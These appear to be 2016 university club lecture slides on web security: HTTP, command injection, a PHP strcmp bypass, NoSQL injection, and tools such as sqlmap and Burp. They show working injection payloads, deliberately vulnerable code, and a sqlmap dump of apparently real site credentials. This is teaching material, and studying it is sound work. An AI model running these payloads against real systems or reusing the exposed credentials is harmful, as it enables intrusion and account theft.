

Web Security 2

@ Boston University 2016

0xBU



Landscape

- Mainly focused on the application layer
- HTTP, is the language that the web speaks
- Firewalls must allow traffic to and from the port used for HTTP (80)
- Easiest way to compromise hosts, networks, and users
- Widely deployed, little logging, difficult to detect



Attack Surface

- The web is the wild west, but there is one common “stack”, **LAMP**
 - **Linux**: the operating system
 - **Apache** HTTPd: the HTTP server
 - **MySQL**: the database server
 - **PHP**: the programming language
- Another common stack, **MEAN**
 - MongoDB: the database server
 - Express.js: The HTTP server
 - Angular.js: The frontend programming
 - Node.js: The backend programming



HTTP Refresher

Messages have header, and optional body



Response



Request (GET)



```
GET /doc/test.html HTTP/1.1
```

```
Host: www.test101.com
```

```
Accept: image/gif, image/jpeg, */*
```

```
Accept-Language: en-us
```

```
Accept-Encoding: gzip, deflate
```

```
User-Agent: Mozilla/4.0
```

```
Content-Length: 35
```

```
bookId=12345&author=Tan+Ah+Teck
```

Request Line

Request Headers

Request
Message
Header

A blank line separates header & body

Request Message Body

```
HTTP/1.1 200 OK
```

```
Date: Sun, 08 Feb xxxx 01:11:12 GMT
```

```
Server: Apache/1.3.29 (Win32)
```

```
Last-Modified: Sat, 07 Feb xxxx
```

```
ETag: "0-23-4024c3a5"
```

```
Accept-Ranges: bytes
```

```
Content-Length: 35
```

```
Connection: close
```

```
Content-Type: text/html
```

```
<h1>My Home page</h1>
```

Status Line

Response Headers

Response
Message
Header

A blank line separates header & body

Response Message Body

HTTP Injection

Server receives requests - the request is completely controlled by a client/browser

- User can edit headers, and body to anything they want
- Solution: Server developers must know this, and only rely on data that cannot be edited, e.g. symmetrically encrypted.
- Stackoverflow pwned:
 - <http://blog.ircmaxell.com/2012/11/anatomy-of-attack-how-i-hacked.html>
- Demos!



Scripting Language Injection (1/5)

Basic web architecture:

1. User inputs, and sends data, e.g. “username and password”
2. Server receives “username and password”
3. Server runs some sort of program written by a developer to process the data
4. Server returns the output of that program back to the user



Scripting Language Injection (2/5)

- Using a URL for web functionality
 - e.g. <http://example.com/news.php?page=25>
 - eg. <http://example.com/robot/refuel>

Typical backend code:

```
@app.route('/robot/<path:task>', methods=['GET'])
def robot_task(task):
    print("python " + task + ".py")
    r = check_output("python " + task + ".py", shell=True)
    return r
```

See the bug?

Oh my!

<http://example.com/robot/refuel%3Bcat%20%2Fetc%2Fpasswd%3Becho%20>

Scripting Language Injection (3/3)

Different languages have their own problems

- PHP
 - `http://example.com/forgot_password.php?reset_key=90210applesauce`

```
$reset_key = $_GET['reset_key'];  
$correct_reset_key = get_correct_value_somewhat();  
  
if (strcmp($reset_key, $correct_reset_key) == 0) {  
    // Go ahead and reset the password  
} else {  
    echo 'Sorry, incorrect key';  
}
```

See the bug?

Scripting Language Injection (3/3)

Different languages have their own problems

- PHP
 - `http://example.com/forgot_password.php?reset_key=90210applesauce`

```
$reset_key = $_GET['reset_key'];  
$correct_reset_key = get_correct_value_somewhat();  
  
if (strcmp($reset_key, $correct_reset_key) == 0) {  
    // Go ahead and reset the password  
} else {  
    echo 'Sorry, incorrect key';  
}
```

`http://example.com/forgot_password.php?reset_key[]=90210applesauce`

`$reset_key = ["90210applesauce"]` # Note that it's a list

`strcmp(list, anything) = NULL` in PHP

`NULL == 0` in PHP # Not true for '==', always use '==='

Oh my!

Scripting Language Injection (3/3)

Different languages have their own problems

- Perl
 - Live @ 0xBU
 - <http://makeaface.picoctf.com/>

NoSQL Injection

- NoSQL databases promise simpler storage mechanisms
 - Basically toss in a JSON object into it and done
 - No need for schemas, or thinking of object relations
 - “Safer”, SQL is dangerous
 - Not necessarily better in any way than classic SQL databases
- MySQL is boring now, NoSQL is the new hotness
 - MongoDB, Redis, Cassandra, etc....



SELECT * FROM users WHERE username = '\$username' AND password = '\$password'

becomes

```
db.users.find({username: username, password: password});
```

NoSQL Injection

Typical node.js backend using MongoDB:

```
app.post('/', function (req, res) {  
  db.users.find({username: req.body.username, password: req.body.password}, function (err, users) {  
    // TODO: handle the rest  
  });  
});
```

See the bug?

NoSQL Injection

Typical node.js backend using MongoDB:

```
app.post('/', function (req, res) {  
  db.users.find({username: req.body.username, password: req.body.password}, function (err, users) {  
    // TODO: handle the rest  
  });  
});
```

See the bug?

Same thing as SQL Injection! Validation failure to ensure **username** and **password** are strings!

POST http://target/ HTTP/1.1
Content-Type: application/json

```
{  
  "username": {"$gt": ""},  
  "password": {"$gt": ""}  
}
```



```
for all usernames in DB:  
  if username > "" and  
    password > "":  
    return True
```

Nearly always
true!

H4CK3r T00LZ 2

Auto pwners

- Sqlmap
 - Attempts SQL injection on fields
 - Highly unlikely to work
 - But you can hope
 - CTFs ban it because of server strain!
- NoSqlmap
 - Same as above, except for NoSQL
- dirs3arch / dirbuster
 - Bruteforce find hidden files/folders
 - Likely to work, but boring results
 - CTFs ban it because of server strain!

```
oliver@Internet-END: ~/Documentos/sqlmap
| pagina | varchar(100) |
| pass   | varchar(20)  |
| permisos | varchar(150) |
| user   | varchar(20)  |
+-----+
[16:28:23] [INFO] fetching columns for table 'login' in database 'sebadivi_educacionit'
[16:28:23] [INFO] the SQL query used returns 4 entries
[16:28:23] [INFO] resumed: "user","varchar(20)"
[16:28:23] [INFO] resumed: "pass","varchar(20)"
[16:28:23] [INFO] resumed: "pagina","varchar(100)"
[16:28:23] [INFO] resumed: "permisos","varchar(150)"
[16:28:23] [INFO] fetching entries for table 'login' in database 'sebadivi_educacionit'
[16:28:24] [INFO] the SQL query used returns 3 entries
[16:28:24] [INFO] retrieved: "admin","educacionIT22","", "educacionit"
[16:28:25] [INFO] retrieved: "plantillas","revistas","revistas","gLamas"
[16:28:25] [INFO] retrieved: "plantillas","plantillas22","todo","plantillas"
[16:28:25] [INFO] analyzing table dump for possible password hashes
Database: sebadivi_educacionit
Table: login
[3 entries]
+-----+-----+-----+-----+
| user      | pass      | pagina    | permisos  |
+-----+-----+-----+-----+
| educacionit | educacionIT22 | admin     | <blank>   |
| gLamas      | revistas    | plantillas | revistas  |
| plantillas  | plantillas22 | plantillas | todo      |
+-----+-----+-----+-----+
[16:28:25] [INFO] table 'sebadivi_educacionit.login' dumped to CSV file '/home/oliver/Documentos/sqlmap/output/www.educacionit.com.ar/dump/sebadivi_educacionit/login.csv'
[16:28:25] [INFO] fetched data logged to text files under '/home/oliver/Documentos/sqlmap/output/www.educacionit.com.ar'

[*] shutting down at 16:28:25
oliver@Internet-END:~/Documentos/sqlmap$
```

Familiarity with Web Frameworks

Every language has common development platforms w/ their own quirks

- PHP
 - CakePHP
- Python
 - Flask
 - Django
 - MongoDB
- Perl
 - CGI
- Ruby
 - Sinatra
 - Rails
- Javascript
 - node.js



django

CGI



Play with HTTP

- Burpsuite
 - Intercept, modify, create, send, receive and more HTTP packets
- Postman
 - Create, send, and receive HTTP packets
 - More so for web development
- Firefox/Browser plugins
 - Modify packets
 - Chrome doesn't let you I believe?
- <http://meyerweb.com/eric/tools/dencoder/>
 - Encode and decode strings into passable URLs

Play with HTTP

Burp

Postman

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts

Site map Scope

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

▼ http://0b7bd624bab7.mdseclabs.net

- /
- addressbook
 - admin
 - app
 - auth
 - bank
 - cclookup
 - employees
 - error
 - feedback
 - filestore
 - search
 - settings
 - shop
 - updates
 - https://0b7bd624bab7.mdseclabs.net/addressbook

Host Method URL Params Sta... L

http://0b7bd624bab7...	GET	/addressbook/32/		200	2
http://0b7bd624bab7...	POST	/addressbook/32/De...		200	3

Addressbook

- http://0b7bd624bab7.mdseclabs.net/addressbook
- Add to scope
- Spider this branch
- Actively scan this branch
- Passively scan this branch
- Engagement tools
- Compare site maps
- Expand branch
- Expand requested items
- Delete branch
- Copy URLs in this branch
- Copy links in this branch
- Save selected items
- Site map help

1.1
bs.net
Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101
ion/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
q=0.5
accept-encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://0b7bd624bab7.mdseclabs.net/labs/lab.ashx?lab=7

0 matches

Builder API Library

No environment

Request Headers

GET https://echo.getpostman.com/headers

Params Send Save

Authorization Headers Body Pre-request Scripts Tests Generate Code Reset

my-sample-header Lorem ipsum dolor sit amet Presets

Body Cookies Headers Tests Status 200 OK Time 1828 ms

Pretty RAW Preview JSON Save Response

```
{
  "headers": {
    "Host": "echo.getpostman.com",
    "cache-control": "no-cache",
    "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
    "my-sample-header": "Lorem ipsum dolor sit amet",
    "postman-token": "4438cec0-6944-0c19-25b4-6eaca04766f4",
    "accept": "*/json",
    "accept-encoding": "gzip, deflate, sdch",
    "accept-language": "en-US,en;q=0.8,en;q=0.6",
    "cookie": "sails.sid=s%3A2nQ5pqiDKCFN8kaI2hm1EzUrhbg4GeOy.38Pu1zKagegi17NF3ob0Q1j0ZqMaGx1zSRs3PvtHByG4"
  }
}
```

Demos

Live @ 0xBU

Next week

Challenge:

Easy/Medium: <http://web2014.picoctf.com/injection4/>

Easy/Medium: <https://2013.picoctf.com/problems/php4/>

Hard: <https://wildwildweb.fluxfingers.net:1424/>

__libc_fini